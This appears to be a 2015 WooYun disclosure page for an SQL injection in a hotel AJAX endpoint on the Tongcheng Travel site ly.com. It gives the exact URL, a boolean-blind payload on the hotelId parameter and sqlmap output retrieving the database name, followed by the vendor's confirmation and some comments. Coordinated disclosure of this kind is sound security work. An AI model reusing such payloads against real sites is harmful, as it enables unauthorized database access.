当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089881

漏洞标题:同程旅游网主站某处注入

相关厂商:苏州同程旅游网络科技有限公司

漏洞作者: greg.wu

提交时间:2015-01-04 11:48

修复时间:2015-02-18 11:50

公开时间:2015-02-18 11:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-04: 细节已通知厂商并且等待厂商处理中
2015-01-04: 厂商已经确认,细节仅向厂商公开
2015-01-14: 细节向核心白帽子及相关领域专家公开
2015-01-24: 细节向普通白帽子公开
2015-02-03: 细节向实习白帽子公开
2015-02-18: 细节向公众公开

简要描述:

是主站的注入点

详细说明:

注入点:
http://www.ly.com/Hotel/ajax/HotelInfoAjax.aspx?action=getHotelAjaxCotentHtml&hotelId=6192&pageKey=hotelcomments1200&iid=0.8779298369772732
参数hotelId
payload:hotelId=6192%0Aand%0A1=1
类型:sql server布尔盲注

漏洞证明:

为了节省大家的时间,我就不上图了
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: hotelId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=getHotelAjaxCotentHtml&hotelId=6192 AND 6290=6290&pageKey=hotelcomments1200&iid=0.8779298369772732
---
[02:48:00] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[02:48:00] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
[02:48:00] [INFO] fetching current database
[02:48:01] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:48:01] [INFO] retrieved: TCHotelResource
current database: 'TCHotelResource'
[02:50:50] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.ly.com'

修复方案:

过滤

版权声明:转载请注明来源 greg.wu@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-04 14:43

厂商回复:

感谢关注同程旅游,和洞主确认了下,只能跑出当前库名 currentdb
从sqlmap的检测时间看 [02:50:50] 洞主辛苦了,之后会安排寄出200元京东礼品卡。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-05 10:04 | orange ( 普通白帽子 | Rank:185 漏洞数:38 | 戒骄戒躁。)

    好仔细的厂商

  2. 2015-01-14 14:02 | greg.wu ( 普通白帽子 | Rank:815 漏洞数:99 | 打酱油的~)

    收到厂商送的京东礼品卡了,良心厂商,赞~